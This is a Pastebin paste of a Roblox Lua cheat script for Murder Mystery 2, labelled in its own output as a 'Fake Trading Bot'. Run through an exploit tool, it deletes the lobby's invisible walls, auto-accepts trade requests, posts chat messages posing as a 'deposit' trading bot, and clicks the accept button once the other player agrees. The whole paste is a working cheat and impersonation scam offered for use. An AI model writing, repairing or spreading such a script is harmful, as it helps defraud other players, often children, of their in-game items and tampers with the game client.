Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- Initialize Invisible Walls Removal
- local success, invisWalls = pcall(function()
- return workspace.Lobby.InvisWalls
- end)
- if success and invisWalls then
- invisWalls:Destroy()
- end
- -- Services
- local Players = game:GetService("Players")
- local ReplicatedStorage = game:GetService("ReplicatedStorage")
- local TextChatService = game:GetService("TextChatService")
- -- Configuration
- _G.MM2BloxLuckENABLED = true
- _G.MM2BloxLuckCHAT = true
- _G.MM2BloxLuckCooldown = 30
- -- Chat Message Function
- local function sendChatMessage(message)
- local player = Players.LocalPlayer
- if player then
- local textChannel = TextChatService.TextChannels.RBXGeneral
- if textChannel then
- pcall(function()
- textChannel:SendAsync(message)
- end)
- else
- warn("Text channel not found")
- end
- else
- warn("Player not found")
- end
- end
- -- Ensure PlayerGui is available and correctly set up
- local function waitForPlayerGui()
- local player = Players.LocalPlayer
- while not player do
- wait()
- player = Players.LocalPlayer
- end
- local playerGui = player:WaitForChild("PlayerGui")
- while not playerGui:FindFirstChild("MainGUI") do
- wait()
- end
- return playerGui
- end
- -- Main Function
- local function main()
- local PlayerGui = waitForPlayerGui() -- Ensure PlayerGui is loaded and contains MainGUI
- while _G.MM2BloxLuckENABLED do
- wait()
- local mainGui = PlayerGui:FindFirstChild("MainGUI")
- if mainGui and mainGui:FindFirstChild("Game") and mainGui.Game:FindFirstChild("Leaderboard") and mainGui.Game.Leaderboard:FindFirstChild("Container") and
- mainGui.Game.Leaderboard.Container:FindFirstChild("TradeRequest") and mainGui.Game.Leaderboard.Container.TradeRequest:FindFirstChild("ReceivingRequest") and
- mainGui.Game.Leaderboard.Container.TradeRequest.ReceivingRequest.Visible and mainGui.Game.Leaderboard.Container.TradeRequest.Visible then
- wait()
- local sr = mainGui.Game.Leaderboard.Container.TradeRequest.ReceivingRequest.Username.Text
- print("Korea's Fake Trading Bot | Accepted Trade Request From " .. sr)
- if _G.MM2BloxLuckCHAT then
- -- 거래 시작 시 채팅에 메시지 전송
- sendChatMessage("Trade with " .. sr .. " started, mode: deposit")
- end
- ReplicatedStorage.Trade.AcceptRequest:FireServer()
- local Cooldown = 0
- while wait(1) do
- Cooldown = Cooldown + 1
- local tradeGui = PlayerGui:FindFirstChild("TradeGUI")
- if tradeGui and tradeGui:FindFirstChild("Container") and tradeGui.Container:FindFirstChild("Trade") and
- tradeGui.Container.Trade:FindFirstChild("Actions") and
- tradeGui.Container.Trade.Actions:FindFirstChild("Accept") and
- tradeGui.Container.Trade.Actions.Accept:FindFirstChild("Confirm") and
- tradeGui.Container.Trade.Actions.Accept.Confirm:FindFirstChild("ActionsButton") then
- local actionsButton = tradeGui.Container.Trade.Actions.Accept.Confirm.ActionsButton
- if actionsButton:IsA("TextButton") then
- if not tradeGui.Enabled then
- print("Korea's Fake Trading Bot | Declined Trade With " .. sr .. ": User Cancelled Trade")
- if _G.MM2BloxLuckCHAT then
- -- 거래 거절 시 채팅에 메시지 전송
- sendChatMessage("Trade declined.")
- end
- break
- end
- -- Check if the other player has accepted the trade
- if actionsButton.Visible then
- print("Korea's Fake Trading Bot | Their offer accepted, clicking accept...")
- -- Automatically click the accept button twice
- actionsButton.MouseButton1Click:Fire()
- wait(0.3) -- Short delay before clicking the button again
- actionsButton.MouseButton1Click:Fire()
- if _G.MM2BloxLuckCHAT then
- -- 거래 완료 시 채팅에 메시지 전송
- sendChatMessage("Trade completed")
- end
- break
- end
- if Cooldown > _G.MM2BloxLuckCooldown then
- print("Korea's Fake Trading Bot | Declined Trade With " .. sr .. ": Timed out")
- if _G.MM2BloxLuckCHAT then
- sendChatMessage("Trade declined due to timeout.")
- end
- ReplicatedStorage.Trade.DeclineTrade:FireServer()
- break
- end
- else
- warn("ActionsButton is not a TextButton")
- end
- end
- end
- end
- end
- end
- -- Execute Main Function
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement